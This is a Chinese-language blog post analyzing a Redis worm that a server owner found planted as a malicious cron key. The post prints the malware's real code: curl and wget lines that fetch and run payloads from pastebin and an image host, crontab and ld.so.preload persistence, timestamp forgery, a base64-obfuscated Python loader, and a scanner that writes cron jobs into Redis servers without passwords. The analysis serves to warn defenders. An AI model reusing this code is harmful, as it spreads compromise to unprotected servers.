記一次redis病毒分析筆記

原由

偶然間發現redis裏有一個陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh
看key名就知道這確定不是咱們存的,再看value我警覺了,這是要定時執行腳本啊。python

分析

因而我便開始逐層撥開它的面紗,腳本的內容是來源於https://pastebin.com/raw/xbY7p5Tb,把它下載到本地後查看是這樣的:
/usr/bin/curl -fsSL https://pastebin.com/raw/XqwCz5rc|base64 -d > /bin/ntpder && chmod 755 /bin/ntpder && /bin/ntpder && rm -rf /bin/ntpderredis

又是一層遠程下載並執行腳本,不過此次是加密的,腳本的意思是從https://pastebin.com/raw/XqwCz5rc下載base64編碼後的腳本而後再還原,再寫入到/bin/ntpder並執行,最後刪除掉/bin/ntpder。
https://pastebin.com/raw/XqwCz5rc還原後的代碼片斷是這樣的:json

#!/bin/sh
skip=44

tab='   '
nl='
'
IFS=" $tab$nl"

umask=`umask`
umask 77

gztmpdir=
trap 'res=$?
  test -n "$gztmpdir" && rm -fr "$gztmpdir"
  (exit $res); exit $res
' 0 1 2 3 5 10 13 15

if type mktemp >/dev/null 2>&1; then
  gztmpdir=`mktemp -dt`
else
  gztmpdir=/tmp/gztmp$$; mkdir $gztmpdir
fi || { (exit 127); exit 127; }

gztmp=$gztmpdir/$0
case $0 in
-* | */*'
') mkdir -p "$gztmp" && rm -r "$gztmp";;
*/*) gztmp=$gztmpdir/`basename "$0"`;;
esac || { (exit 127); exit 127; }

case `echo X | tail -n +1 2>/dev/null` in
X) tail_n=-n;;
*) tail_n=;;
esac
if tail $tail_n +$skip <"$0" | gzip -cd > "$gztmp"; then
  umask $umask
  chmod 700 "$gztmp"
  (sleep 5; rm -fr "$gztmpdir") 2>/dev/null &
  "$gztmp" ${1+"$@"}; res=$?
else
  echo >&2 "Cannot decompress $0"
  (exit 127); res=127
fi; exit $res
從這裏開始是二進制的gzip打包後的數據

腳本的大概意思是將它後面附加的gzip解壓獲得另外一個腳本文件並執行,解壓後的代碼片斷爲:bash

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function kills() {
rm -f /tmp/kworkerds /bin/kworkerds /bin/config.json
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill 
此處省略若干行...,用於清理以前的進程及文件
}

//保障被殺後還能再次執行
function system() {
        if [ ! -f "/bin/httpdns" ]; then
                curl -fsSL https://pastebin.com/raw/698D7kZU -o /bin/httpdns && chmod 755 /bin/httpdns
                if [ ! -f "/bin/httpdns" ]; then
                        wget  https://pastebin.com/raw/698D7kZU -O /bin/httpdns && chmod 755 /bin/httpdns
                fi
                if [ ! -f "/etc/crontab" ]; then
                        echo -e "0 2 * * * root /bin/httpdns" >> /etc/crontab
                else
                        sed -i '$d' /etc/crontab && echo -e "0 2 * * * root /bin/httpdns" >> /etc/crontab
                fi
        fi
}

//這是病毒的核心代碼,下載的是一個二進制的可執行文件,裏面幹了什麼就得得而知了
function top() {
        if [ ! -f "/usr/local/lib/libntp.so" ]; then
                curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
                if [ ! -f "/usr/local/lib/libntp.so" ]; then
                        wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
                fi
        fi
        if [ ! -f "/etc/ld.so.preload" ]; then
                echo /usr/local/lib/libntp.so > /etc/ld.so.preload
        else
                sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload
        fi
        touch -acmr /bin/sh /etc/ld.so.preload
        touch -acmr /bin/sh /usr/local/lib/libjdk.so
        touch -acmr /bin/sh /usr/local/lib/libntp.so
}

//這是用python寫的一段腳本,用於傳播到其它機器
function python() {
        nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
        touch /tmp/.tmp
}

此處省略若干行...
後面還有下載運行、版本更新等功能,就不一一展開了

重點說一下redis傳播這塊,但願你們能提升警惕,上面python那一段也是先base64解碼後再執行,也是二層下載,中間層就不說了,最終展開後的代碼是這樣的:服務器

#! /usr/bin/env python
#coding: utf-8

import threading
import socket
from re import findall
import httplib

IP_LIST = []

class scanner(threading.Thread):
    tlist = []
    maxthreads = 100
    evnt = threading.Event()
    lck = threading.Lock()

    def __init__(self,host):
        threading.Thread.__init__(self)
        self.host = host
    def run(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((self.host, 6379))
            s.send('set tightsoft "\\n\\n\\n*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n')
            s.send('config set dir /etc/cron.d\r\n')
            s.send('config set dbfilename root\r\n')
            s.send('save\r\n')
            s.close()
        except Exception:
            pass
 此處省略若干行...

它嘗試鏈接沒有設置密碼的redis服務器,並寫入一個key tightsoft, 至此就找到了這個key產生的緣由,至少咋來的,多是經過其它機器感染的就不知而知了。curl

相關文章
相關標籤/搜索